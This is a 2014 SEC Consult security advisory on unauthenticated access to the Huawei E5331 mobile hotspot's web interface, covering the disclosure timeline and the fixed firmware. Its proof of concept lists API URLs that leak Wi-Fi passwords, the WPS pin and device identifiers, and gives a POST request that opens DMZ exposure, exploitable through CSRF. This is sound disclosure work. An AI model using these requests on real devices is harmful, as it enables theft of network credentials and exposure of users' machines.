SEC Consult SA-20140307-0 :: Unauthenticated access & manipulation of settings in Huawei E5331 MiFi mobile hotspot

Type securityvulns
Reporter Securityvulns
Modified 2014-03-31T00:00:00


SEC Consult Vulnerability Lab Security Advisory < 20140307-0 >

          title: Unauthenticated access &amp; manipulation of settings 
        product: Huawei E5331 MiFi mobile hotspot

vulnerable version: Software version 21.344.11.00.414 fixed version: Software version 21.344.27.00.414 impact: High homepage: found: 2013-12-06 by: J. Greil SEC Consult Vulnerability Lab =======================================================================

Vendor description:

"Huawei E5331 Mobile WiFi is a high-speed packet access mobile hotspot. It is a multi-mode wireless terminal for SOHO (Small Office and Home Office) and business professionals.

You can connect the E5331 with the USB interface of a computer, or connect the E5331 with the Wi-Fi. In the service area of the HSPA+/HSPA/UMTS/EDGE/GPRS/GSM network, you can surf the Internet and send/receive messages/emails cordlessly. The E5331 is fast, reliable, and easy to operate. Thus, mobile users can experience many new features and services with the E5331. These features and services will enable a large number of users to use the E5331 and the average revenue per user (ARPU) of operators will increase substantially."


Business recommendation:

All discovered vulnerabilities can be exploited without authentication and therefore pose a high security risk.

The scope of the test, where the vulnerabilities have been identified, was a very short crash-test of the device. It is assumed that further vulnerabilities exist within this product!

The recommendation of SEC Consult is to perform follow-up security tests of this device and similar devices.

Vulnerability overview/description:

Unauhenticated attackers are able to gain access to sensitive configuration (e.g. WLAN passwords in clear text or IMEI information of the SIM card) and even manipulate all settings in the web administration interface! This also works when the "Enable firewall" feature is set in "Firewall Switch" settings of the web interface.

This can even be exploited remotely via Internet depending on the mobile operator setup. E.g. if the operator allows incoming connections for mobile networks, the web interface would be accessible and exploitable publicly.

Otherwise those settings can be manipulated via CSRF attacks too. The DNS name "mobilewifi.home" can be used regardless of the IP address settings.

Proof of concept:

An attacker simply needs to access certain URLs of the web interface in order to receive the configuration. No authentication is needed!

URL for retrieving wireless passwords / PSK in clear text: http://mobilewifi.home/api/wlan/security-settings

XML response: <?xml version="1.0" encoding="UTF-8"?> <response> <WifiAuthmode>WPA2-PSK</WifiAuthmode> <WifiBasicencryptionmodes>NONE</WifiBasicencryptionmodes> <WifiWpaencryptionmodes>AES</WifiWpaencryptionmodes> <WifiWepKey1>12345</WifiWepKey1> <WifiWepKey2>12345</WifiWepKey2> <WifiWepKey3>12345</WifiWepKey3> <WifiWepKey4>12345</WifiWepKey4> <WifiWepKeyIndex>1</WifiWepKeyIndex> <WifiWpapsk>XXXXX</WifiWpapsk> <WifiWpsenbl>0</WifiWpsenbl> <WifiWpscfg>1</WifiWpscfg> <WifiRestart>1</WifiRestart> </response>

Further interesting URLs to retrieve information from (not complete): http://mobilewifi.home/api/wlan/wps (WPS pin) http://mobilewifi.home/api/security/dmz (DMZ host settings) http://mobilewifi.home/api/pin/simlock (enable SIM lock) http://mobilewifi.home/api/wlan/host-list (connected wireless clients) http://mobilewifi.home/api/device/information (IMEI, MAC, etc) [...]

In order to change settings it is also simply possible to issue POST requests to the specific URLs. E.g. change the "DMZ Settings" in order to make internal clients (client IP addresses can be retrieved through the host-list from above) reachable from the outside:

POST /api/security/dmz HTTP/1.1 Host: mobilewifi.home

<?xml version="1.0" encoding="UTF-8"?><request><DmzStatus>1</DmzStatus><DmzIPAddress>A.B.C.D</DmzIPAddress></request>

All those requests can either be issued via CSRF or also from the Internet, if the web interface of the device is reachable (depends on the mobile operator settings).

Vulnerable / tested versions:

The following version of the device has been tested which was the latest version available at the time of identification of the flaw (the automatic update feature did not supply any new version):

Software version: 21.344.11.00.414 Web UI version:

Vendor contact timeline:

2013-12-11: Contacting vendor through 2013-12-12: Reply from vendor 2013-12-18: Vendor requests some further details, sending answer 2014-01-09: Vendor: problem will be resolved in new firmware version 2014-01-14: Patch is planned for 6th March 2014 2014-03-07: SEC Consult releases coordinated security advisory


According to the vendor the following firmware release fixes the identified problems: * Software version 21.344.27.00.414

It contains the following improvements according to the vendor: 1. Users cannot obtain or set any device parameter without logging in. 2. Added server-side authentication to discard illegitimate packets.

The firmware can be downloaded from here:

The item is called: E5331Update_21.344.27.00.414.B757



Advisory URL:

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EOF J. Greil / @2014